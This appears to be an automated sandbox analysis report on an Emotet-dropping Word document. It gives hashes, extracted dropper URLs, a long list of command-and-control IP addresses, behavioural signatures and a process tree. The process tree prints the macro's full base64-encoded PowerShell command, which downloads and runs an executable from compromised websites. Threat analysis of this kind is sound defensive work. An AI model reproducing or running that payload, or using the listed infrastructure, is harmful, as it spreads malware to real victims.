Analysis
- max time kernel
139s - max time network
134s - platform
windows10_x64 - resource
win10v200722 - submitted
30/09/2020, 12:27
Static task
static1
Behavioral task
behavioral1
Sample
DOC_PO_09302020EX.doc
Resource
win7
General
- Target DOC_PO_09302020EX.doc
- Size 132KB
- Sample200930-2csccgyb8x
- SHA256 25ea63c6b2b40a9e3cd16e7ff7bef353fc6d0a0d87b8a661aebc9e377439f8ef
- MD5 772ec1607b03448efcf4bc3030ec9e05
- SHA1 3f5ece571374102560310ac612917360aef269fd
- SHA512 2131299d8ab9833a0955a9ae28ed4dfb253b5d44efc896ccc7ee4e07fdc87bb511e6a731cd84134f56376795c7e5ec898b98b022affb5b6363f6e90a6febc64a
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
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exe.dropper
http://datvietquan.com/wp-content/wra6K/
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exe.dropper
http://albasisgroup.com/wp-content/H/
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exe.dropper
http://www.asmaraloka.com/wp-includes/ra5d/
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exe.dropper
http://thanhthatbadinh.com/ol5auz/AQ/
-
exe.dropper
http://ypddf.org/en/NR/
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exe.dropper
http://subramanyatemple.org/cgi-bin/0eBKO/
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exe.dropper
https://daisyboots.co.uk/wp-admin/u/
Extracted
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emotet
-
104.193.103.61:80
-
104.131.123.136:443
-
5.196.108.189:8080
-
121.124.124.40:7080
-
87.106.139.101:8080
-
213.196.135.145:80
-
50.35.17.13:80
-
38.18.235.242:80
-
24.43.32.186:80
-
82.80.155.43:80
-
103.86.49.11:8080
-
113.61.66.94:80
-
24.137.76.62:80
-
187.49.206.134:80
-
42.200.107.142:80
-
24.179.13.119:80
-
93.147.212.206:80
-
108.46.29.236:80
-
105.186.233.33:80
-
37.139.21.175:8080
-
61.19.246.238:443
-
97.82.79.83:80
-
78.188.106.53:443
-
168.235.67.138:7080
-
83.169.36.251:8080
-
89.216.122.92:80
-
176.111.60.55:8080
-
181.169.34.190:80
-
118.83.154.64:443
-
140.186.212.146:80
-
139.59.60.244:8080
-
174.106.122.139:80
-
194.187.133.160:443
-
62.30.7.67:443
-
68.252.26.78:80
-
75.139.38.211:80
-
130.0.132.242:80
-
172.104.97.173:8080
-
85.152.162.105:80
-
74.208.45.104:8080
-
71.15.245.148:8080
-
139.162.60.124:8080
-
62.75.141.82:80
-
203.153.216.189:7080
-
91.211.88.52:7080
-
96.249.236.156:443
-
95.213.236.64:8080
-
66.65.136.14:80
-
104.131.44.150:8080
-
91.146.156.228:80
-
79.98.24.39:8080
-
174.45.13.118:80
-
157.245.99.39:8080
-
80.241.255.202:8080
-
71.72.196.159:80
-
120.150.60.189:80
-
220.245.198.194:80
-
121.7.31.214:80
-
85.96.199.93:80
-
67.10.155.92:80
-
109.74.5.95:8080
-
188.219.31.12:80
-
162.241.242.173:8080
-
110.145.77.103:80
-
78.24.219.147:8080
-
47.144.21.12:443
-
139.99.158.11:443
-
110.142.236.207:80
-
94.23.237.171:443
-
50.91.114.38:80
-
76.175.162.101:80
-
46.105.131.79:8080
-
181.169.235.7:80
-
87.106.136.232:8080
-
5.39.91.110:7080
-
24.43.99.75:80
-
104.131.11.150:443
-
139.162.108.71:8080
-
209.141.54.221:8080
-
124.41.215.226:80
-
123.176.25.234:80
-
137.59.187.107:8080
-
216.139.123.119:80
-
94.200.114.161:80
-
79.137.83.50:443
-
5.196.74.210:8080
-
104.236.246.93:8080
-
137.119.36.33:80
-
37.187.72.193:8080
-
172.91.208.86:80
-
142.112.10.95:20
-
134.209.36.254:8080
-
190.240.194.77:443
-
1.221.254.82:80
-
185.94.252.104:443
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3812 2252 POwersheLL.exe 73 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3704-16-0x00000000020E0000-0x00000000020F0000-memory.dmp emotet behavioral2/memory/3704-16-0x00000000020E0000-0x00000000020F0000-memory.dmp emotet behavioral2/memory/472-22-0x00000000020F0000-0x0000000002100000-memory.dmp emotet behavioral2/memory/472-22-0x00000000020F0000-0x0000000002100000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 24 3812 POwersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3704 R0cx8yuqw.exe 472 MrmIndexer.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\syskey\MrmIndexer.exe R0cx8yuqw.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 636 WINWORD.EXE 636 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 3812 POwersheLL.exe 3812 POwersheLL.exe 3812 POwersheLL.exe 472 MrmIndexer.exe 472 MrmIndexer.exe 472 MrmIndexer.exe 472 MrmIndexer.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3812 POwersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 636 WINWORD.EXE 636 WINWORD.EXE 636 WINWORD.EXE 636 WINWORD.EXE 636 WINWORD.EXE 636 WINWORD.EXE 636 WINWORD.EXE 636 WINWORD.EXE 636 WINWORD.EXE 3704 R0cx8yuqw.exe 3704 R0cx8yuqw.exe 472 MrmIndexer.exe 472 MrmIndexer.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3812 wrote to memory of 3704 3812 POwersheLL.exe 81 PID 3812 wrote to memory of 3704 3812 POwersheLL.exe 81 PID 3812 wrote to memory of 3704 3812 POwersheLL.exe 81 PID 3704 wrote to memory of 472 3704 R0cx8yuqw.exe 82 PID 3704 wrote to memory of 472 3704 R0cx8yuqw.exe 82 PID 3704 wrote to memory of 472 3704 R0cx8yuqw.exe 82
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DOC_PO_09302020EX.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:636
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C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABEAGwAOAB6ADgAdQBvAD0AKAAoACcARAAnACsAJwAyAHIAYgAnACkAKwAnAHUAJwArACcANgBqACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBTAEUAcgBQAHIAbwBmAEkAbABFAFwAUAB1AHkAawBJADAAbABcAEQAegBLAG0ANQAzAGkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGMAVQByAEkAdABZAFAAcgBvAFQAYABPAGMATwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAyACcAKQArACcALAAgACcAKwAoACcAdAAnACsAJwBsAHMAMQAxACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAJwApACkAOwAkAEoAbABnAG4AdwBnAHEAIAA9ACAAKAAnAFIAMAAnACsAKAAnAGMAJwArACcAeAA4AHkAJwApACsAKAAnAHUAcQAnACsAJwB3ACcAKQApADsAJABGAHkAcwA0ADQAdwBkAD0AKAAnAEYAJwArACcAawAnACsAKAAnAGoAJwArACcAMgBrAGEAZgAnACkAKQA7ACQASwA4AGoAbQBtADMAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ACcAKwAnADAAfQAnACsAKAAnAFAAdQAnACsAJwB5AGsAaQAwAGwAJwApACsAJwB7ACcAKwAnADAAJwArACcAfQBEACcAKwAoACcAegAnACsAJwBrAG0ANQAnACkAKwAnADMAaQB7ADAAfQAnACkAIAAgAC0ARgAgAFsAQwBIAEEAUgBdADkAMgApACsAJABKAGwAZwBuAHcAZwBxACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABFAHIAcwBqAF8AawBwAD0AKAAnAFIAJwArACgAJwA3ADEAdwB0ACcAKwAnAHIAMgAnACkAKQA7ACQAWgBkAGQAbQB3AGcANwA9AC4AKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAATgBlAHQALgBXAGUAYgBDAGwAaQBFAG4AdAA7ACQARABqAG4ANgBtADIAaAA9ACgAJwBoACcAKwAnAHQAJwArACcAdABwACcAKwAoACcAOgAvAC8AZAAnACsAJwBhAHQAJwApACsAKAAnAHYAJwArACcAaQBlAHQAcQAnACkAKwAoACcAdQBhACcAKwAnAG4AJwApACsAKAAnAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AJwArACcAdwAnACkAKwAoACcAcAAtAGMAJwArACcAbwBuACcAKQArACgAJwB0AGUAJwArACcAbgB0AC8AJwApACsAJwB3AHIAJwArACcAYQA2ACcAKwAnAEsAJwArACcALwAqACcAKwAnAGgAJwArACgAJwB0ACcAKwAnAHQAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAJwBhACcAKwAoACcAbABiAGEAcwBpAHMAZwByACcAKwAnAG8AJwApACsAJwB1AHAAJwArACgAJwAuACcAKwAnAGMAbwBtAC8AJwApACsAKAAnAHcAcAAtACcAKwAnAGMAbwAnACkAKwAnAG4AdAAnACsAJwBlACcAKwAnAG4AJwArACcAdAAvACcAKwAoACcASAAvACcAKwAnACoAaAB0AHQAJwArACcAcAA6ACcAKQArACgAJwAvAC8AJwArACcAdwB3ACcAKwAnAHcALgAnACkAKwAoACcAYQBzAG0AYQAnACsAJwByAGEAJwApACsAKAAnAGwAJwArACcAbwBrAGEALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3AHAAJwApACsAKAAnAC0AaQAnACsAJwBuAGMAbAAnACsAJwB1AGQAJwArACcAZQBzAC8AcgAnACkAKwAoACcAYQAnACsAJwA1AGQAJwApACsAKAAnAC8AKgAnACsAJwBoAHQAJwArACcAdABwADoALwAvACcAKQArACgAJwB0ACcAKwAnAGgAYQBuACcAKQArACcAaAB0ACcAKwAnAGgAJwArACcAYQB0ACcAKwAoACcAYgBhAGQAaQBuACcAKwAnAGgAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAJwAvAG8AJwArACcAbAAnACsAJwA1ACcAKwAnAGEAJwArACgAJwB1AHoALwBBACcAKwAnAFEALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvAC8AeQAnACsAJwBwACcAKQArACcAZABkACcAKwAnAGYAJwArACcALgAnACsAJwBvACcAKwAoACcAcgBnACcAKwAnAC8AZQBuAC8AJwApACsAKAAnAE4AUgAnACsAJwAvACoAJwApACsAJwBoACcAKwAnAHQAdAAnACsAJwBwADoAJwArACgAJwAvAC8AcwB1AGIAcgAnACsAJwBhAG0AJwArACcAYQAnACsAJwBuAHkAJwArACcAYQB0AGUAbQBwACcAKQArACcAbAAnACsAKAAnAGUALgAnACsAJwBvACcAKQArACgAJwByAGcAJwArACcALwBjAGcAJwApACsAJwBpACcAKwAoACcALQBiAGkAJwArACcAbgAnACsAJwAvADAAZQBCAEsATwAvACcAKQArACgAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAcwA6AC8AJwApACsAJwAvACcAKwAnAGQAYQAnACsAJwBpACcAKwAoACcAcwB5AGIAbwBvAHQAJwArACcAcwAnACsAJwAuACcAKQArACgAJwBjACcAKwAnAG8ALgAnACkAKwAnAHUAawAnACsAKAAnAC8AdwAnACsAJwBwAC0AJwApACsAKAAnAGEAZABtAGkAJwArACcAbgAnACsAJwAvAHUALwAnACkAKQAuACIAcwBQAGwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABDAGgAbgAyADcAbAAwAD0AKAAnAFkAJwArACgAJwA0ACcAKwAnAHgAMAB6ACcAKQArACcAOAB5ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEQAZABmAHkAZwB1ADAAIABpAG4AIAAkAEQAagBuADYAbQAyAGgAKQB7AHQAcgB5AHsAJABaAGQAZABtAHcAZwA3AC4AIgBEAG8AYAB3AGAATgBsAG8AQQBEAGYAYABpAGwARQAiACgAJABEAGQAZgB5AGcAdQAwACwAIAAkAEsAOABqAG0AbQAzAGYAKQA7ACQATQB3AHMAZAA5AG0AMgA9ACgAKAAnAEcAJwArACcAZwBlADkAJwApACsAKAAnADgAcgAnACsAJwBpACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEsAOABqAG0AbQAzAGYAKQAuACIAbABgAEUAbgBHAFQAaAAiACAALQBnAGUAIAAzADUAMQA1ADUAKQAgAHsALgAoACcASQBuAHYAJwArACcAbwAnACsAJwBrAGUALQBJAHQAZQBtACcAKQAoACQASwA4AGoAbQBtADMAZgApADsAJABVAHkAYwB5AHAAbwA2AD0AKAAnAFEAJwArACgAJwBsACcAKwAnAGgAeAAnACkAKwAoACcAcQAnACsAJwB3ADMAJwApACkAOwBiAHIAZQBhAGsAOwAkAFIAZgA4ADAAeQB0ADEAPQAoACcATAAnACsAJwByACcAKwAoACcAMQBoACcAKwAnAGEAMAByACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABXAHEAOABpAHcAbgBiAD0AKAAnAFEAdQAnACsAJwBsACcAKwAoACcAYgB1AGsAJwArACcANAAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3812 -
C:\Users\Admin\Puyki0l\Dzkm53i\R0cx8yuqw.exe"C:\Users\Admin\Puyki0l\Dzkm53i\R0cx8yuqw.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3704 -
C:\Windows\SysWOW64\syskey\MrmIndexer.exe"C:\Windows\SysWOW64\syskey\MrmIndexer.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:472
-
-